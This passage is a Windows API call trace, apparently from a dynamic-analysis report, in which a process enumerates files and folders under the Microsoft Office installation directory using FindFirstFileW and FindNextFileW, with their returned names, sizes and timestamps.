nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0277.336] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0277.336] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0277.336] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0277.336] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0277.337] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0277.337] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0277.337] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0277.337] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0277.337] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0277.337] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0277.337] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0277.337] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0277.340] GetProcessHeap () returned 0xaf0000 [0277.340] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0277.340] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0277.340] GetProcessHeap () returned 0xaf0000 [0277.340] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0277.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0277.341] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.341] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 [0277.342] GetProcessHeap () returned 0xaf0000 [0277.342] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0277.342] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0277.344] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.344] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11030b47, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11030b47, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11030b47, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0277.345] GetProcessHeap () returned 0xaf0000 [0277.345] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0277.345] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0277.345] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0277.345] GetProcessHeap () returned 0xaf0000 [0277.345] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0277.346] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0277.347] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0277.347] GetProcessHeap () returned 0xaf0000 [0277.347] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b8288 | out: hHeap=0xaf0000) returned 1 [0277.347] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0277.347] GetProcessHeap () returned 0xaf0000 [0277.347] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0277.348] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0277.348] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.348] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11161e0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb447d, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Facet.thmx", cAlternateFileName="FACET~1.THM")) returned 1 [0277.348] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3495ac, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Integral.thmx", cAlternateFileName="INTEGR~1.THM")) returned 1 [0277.348] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11161e0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11161e0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1855eb, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Ion Boardroom.thmx", cAlternateFileName="IONBOA~1.THM")) returned 1 [0277.348] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1118806a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1118806a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x111ae2aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c09db, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Ion.thmx", cAlternateFileName="ION~1.THM")) returned 1 [0277.348] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1118806a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1118806a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x111fa76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f98b, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Office Theme.thmx", cAlternateFileName="OFFICE~1.THM")) returned 1 [0277.348] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x111d450b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x111d450b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84d621, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Organic.thmx", cAlternateFileName="ORGANI~1.THM")) returned 1 [0277.348] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1160070a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18c4dc, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Retrospect.thmx", cAlternateFileName="RETROS~1.THM")) returned 1 [0277.348] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd322a, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Slice.thmx", cAlternateFileName="SLICE~1.THM")) returned 1 [0277.348] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="THEMEC~1")) returned 1 [0277.349] GetProcessHeap () returned 0xaf0000 [0277.349] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b8288 [0277.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0277.560] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.560] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0277.560] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue Green.xml", cAlternateFileName="BLUEGR~1.XML")) returned 1 [0277.560] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue II.xml", cAlternateFileName="BLUEII~1.XML")) returned 1 [0277.560] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue Warm.xml", cAlternateFileName="BLUEWA~1.XML")) returned 1 [0277.560] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue.xml", cAlternateFileName="")) returned 1 [0277.560] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="GRAYSC~1.XML")) returned 1 [0277.561] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Yellow.xml", cAlternateFileName="GREENY~1.XML")) returned 1 [0277.561] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green.xml", cAlternateFileName="")) returned 1 [0277.561] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, 